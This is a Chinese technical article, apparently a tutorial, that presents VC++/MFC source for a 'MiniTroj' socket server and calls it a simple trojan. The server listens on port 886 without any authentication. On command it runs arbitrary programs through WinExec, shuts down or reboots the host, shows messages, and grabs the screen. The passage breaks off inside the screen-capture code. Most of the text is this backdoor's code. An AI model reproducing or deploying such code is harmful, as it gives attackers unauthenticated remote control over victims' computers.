摘 要:本文主要探讨在VC编程环境下利用Socket实现网络远程控制,本文编制的服务器与客户端程序可以实现基本的网络远程控制功能,如发送消息、执行命令、远程关机、重启和截取屏幕等,也算是一个简单的木马程序。
关键词:远程控制 网络管理 socket
基于网络的远程控制是网络管理员和黑客都非常关注的网络技术。在美好的网络化社会中远程控制是技术核心,比如将来可以一边坐在办公室里工作,一边通过网络打开家里的电饭锅做饭。简单的说,网络远程控制技术就是可以由一台联网(互联网或局域网)的主机来操纵联网的另一台或多台主机。网络管理员用它来实现网络的远程管理,黑客用它来占用别人的主机资源。
网络远程控制实现的基础就是基于网络技术开发的客户端(client)/服务器(server)程序,程序执行后,由客户端来操作服务器完成客户端的请求。
一、服务器程序
在VC下新建一个基于对话框的工程MiniTrojDlg,要选择支持Winsock,然后在工程中加入自己从Csocket派生的两个类CLisenSocket和CClientSocket,CLisenSocket类用于建立监听的Socket,CClientSocket类用于建立通信的Socket。CLisenSocket类对虚函数OnAccept()进行重载。CClientSocket类对虚函数OnReceive()进行重载。在程序中建立一个用于监听指定端口的Socket,当有客户端请求到达后,再新建一个用于通信的Socket与客户端Socket建立连接,处理客户端请求。如果客户端请求为发送消息,则通过MessageBox函数显示该消息;如果客户端请求为执行命令,则调用WinExec函数执行相应命令;如果客户端请求为截取屏幕,则获取桌面窗口DC并用DIBAPI中函数获取图象并存为DIB对象,通过与客户端建立的连接将此DIB对象发送到客户端显示。
相关核心代码如下,详细代码请参见源程序。
ClisenSocket.h代码如下:
class CMiniTrojDlg;
// LisenSocket command target
class LisenSocket : public CSocket
{
// Attributes
public:
// Operations
public:
LisenSocket(CWnd *pWnd);
virtual ~LisenSocket();
// Overrides
public:
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(LisenSocket)
public:
virtual void OnAccept(int nErrorCode);
//}}AFX_VIRTUAL
// Generated message map functions
//{{AFX_MSG(LisenSocket)
// NOTE - the ClassWizard will add and remove member functions here.
//}}AFX_MSG
// Implementation
protected:
private:
CMiniTrojDlg *m_pWnd;
};
ClisenSocket.cpp代码如下:
LisenSocket::LisenSocket(CWnd *pWnd)
{
m_pWnd=(CMiniTrojDlg *)pWnd;
}
LisenSocket::~LisenSocket()
{
}
// Do not edit the following lines, which are needed by ClassWizard.
#if 0
BEGIN_MESSAGE_MAP(LisenSocket, CSocket)
//{{AFX_MSG_MAP(LisenSocket)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
#endif // 0
// LisenSocket member functions
void LisenSocket::OnAccept(int nErrorCode)
{
m_pWnd->ProcessPendingAccept();
CSocket::OnAccept(nErrorCode);
}
CclientSocket.h代码如下:
class CMiniTrojDlg;
// CClientSocket command target
class CClientSocket : public CSocket
{
// Attributes
public:
// Operations
public:
CClientSocket(CWnd *pWnd);
virtual ~CClientSocket();
// Overrides
public:
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CClientSocket)
public:
virtual void OnReceive(int nErrorCode);
//}}AFX_VIRTUAL
// Generated message map functions
//{{AFX_MSG(CClientSocket)
// NOTE - the ClassWizard will add and remove member functions here.
//}}AFX_MSG
// Implementation
protected:
private:
CMiniTrojDlg *m_pWnd;
};
CclientSocket.cpp代码如下:
CClientSocket::CClientSocket(CWnd *pWnd)
{
m_pWnd=(CMiniTrojDlg *)pWnd;
}
CClientSocket::~CClientSocket()
{
}
// Do not edit the following lines, which are needed by ClassWizard.
#if 0
BEGIN_MESSAGE_MAP(CClientSocket, CSocket)
//{{AFX_MSG_MAP(CClientSocket)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
#endif // 0
// CClientSocket member functions
void CClientSocket::OnReceive(int nErrorCode)
{
m_pWnd->ProcessPendingRead();
CSocket::OnReceive(nErrorCode);
}
在CminiTrojDlg.cpp中添加以下代码:
BOOL CMiniTrojDlg::OnInitDialog()
{ // 系统初始化
CDialog::OnInitDialog();
SetIcon(m_hIcon, TRUE);
SetIcon(m_hIcon, FALSE);
m_nPort=886;
pLisen=new LisenSocket(this);
if(!pLisen->Create(m_nPort))
{
AfxMessageBox(IDS_CREATEFAILED);
}
else if(!pLisen->Listen()){
AfxMessageBox(IDS_LISTENFAILED);
}
else
return TRUE;
//Ok,服务器正在帧听...
arIn=NULL;
arOut=NULL;
return TRUE;
}
// -- 在此函数接收客户程序的连接请求 --
void CMiniTrojDlg::ProcessPendingAccept()
{
pClient=new CClientSocket(this);
if(pLisen->Accept(*pClient))
{
Socketfile=new CSocketFile(pClient);
arIn=new CArchive(Socketfile,CArchive::load);
arOut=new CArchive(Socketfile,CArchive::store);
}
else{
delete pClient;
pClient=NULL;
}
}
// -- 在此函数接收客户程序发送的数据 --
void CMiniTrojDlg::ProcessPendingRead()
{
CString TempReceive;
if(arIn->IsBufferEmpty())
{
*arIn>>TempReceive;
if(TempReceive.Left(1)=='m')
{ //接收的是消息
TempReceive.Delete(0,2);
MessageBox(TempReceive,"提示信息",MB_OK);
}
else if(TempReceive.Left(1)=='c')
{ //接收的是命令
TempReceive.Delete(0,2);
WinExec(TempReceive,NULL);
}
else if(TempReceive.Left(1)=='g')
{ //接收的是关机命令
::ExitWindowsEx(EWX_POWEROFF,0);
}
else if(TempReceive.Left(1)=='r')
{ //接收的是注销命令
::ExitWindowsEx(EWX_REBOOT,0);
}
else
{ //接收的是捕获屏幕命令
CWnd * m_pWnd=GetForegroundWindow();
ASSERT(m_pWnd!=NULL);
CDC * pdc_Showed=m_pWnd->GetDC();
CRect rect;
m_pWnd->GetClientRect(rect);
int height,width,i,j;
height=rect.Height();
width=rect.Width();
LPSTR lpDIBCopy;
HDIB m_CopyDIB=CreateDIB(width,height,8);
lpDIBCopy=(LPSTR) ::GlobalLock((HGLOBAL)m_CopyDIB);
BITMAPINFO * bminfo=(BITMAPINFO *)lpDIBCopy;
for(i=0;i<=255;i++){
bminfo->bmiColors[i].rgbBlue=i;
bminfo->bmiColors[i].rgbRed=i;
bminfo->bmiColors[i].rgbGreen=i;
bminfo->bmiColors[i].rgbReserved=0;
}